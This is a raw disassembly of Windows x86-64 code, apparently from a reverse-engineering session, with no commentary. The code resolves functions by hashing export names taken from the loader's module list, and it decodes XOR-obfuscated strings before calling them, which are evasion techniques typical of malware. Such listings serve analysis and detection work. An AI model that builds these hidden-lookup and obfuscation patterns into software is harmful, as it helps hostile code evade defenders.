mov dword [rsp + 0x40], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005bb55
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005bb55
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x9d061a4e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005bb50
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005bb30
cmp edx, 0xbe5b2eaf
je 0x14005bb5a
test r9d, r9d
jne 0x14005bb10
mov rax, qword [rax]
jmp 0x14005bae0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, dword [rcx + rdx*4]
add r9, r10
cmp esi, 2
jl 0x14005bbd7
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
movd xmm0, dword [rsp + 0x40]
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm12
xorps xmm7, xmm0
movd dword [rsp + 0x40], xmm7
jmp 0x14005bc0f
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0x1f7047dd
lea r8, [r8 + 1]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x39
movzx eax, dil
inc edi
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 4
jl 0x14005bbe0
lea rcx, [rsp + 0x40]
call r9
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14005bd2a
movzx eax, word [0x14023c300]
movsd xmm0, qword [str._PG_Q_vxbt9]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005bcd5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005bcd5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xa13ef5d6
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005bcd0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005bcb0
cmp edx, 0xd0925817
je 0x14005bcda
test r9d, r9d
jne 0x14005bc90
mov rax, qword [rax]
jmp 0x14005bc60
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x48]
xor byte [rsp + 0x49], 0x31
add rax, r10
xor byte [rsp + 0x4a], 0x32
xor byte [rsp + 0x4b], 0x33
xor byte [rsp + 0x4c], 0x34
xor byte [rsp + 0x4d], 0x35
xor byte [rsp + 0x4e], 0x36
xor byte [rsp + 0x4f], 0x37
xor byte [rsp + 0x50], 0x38
xor byte [rsp + 0x51], 0x39
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSASetLastError
call rax
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.1401ff5f0
lea r11, [rsp + 0x1c0]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret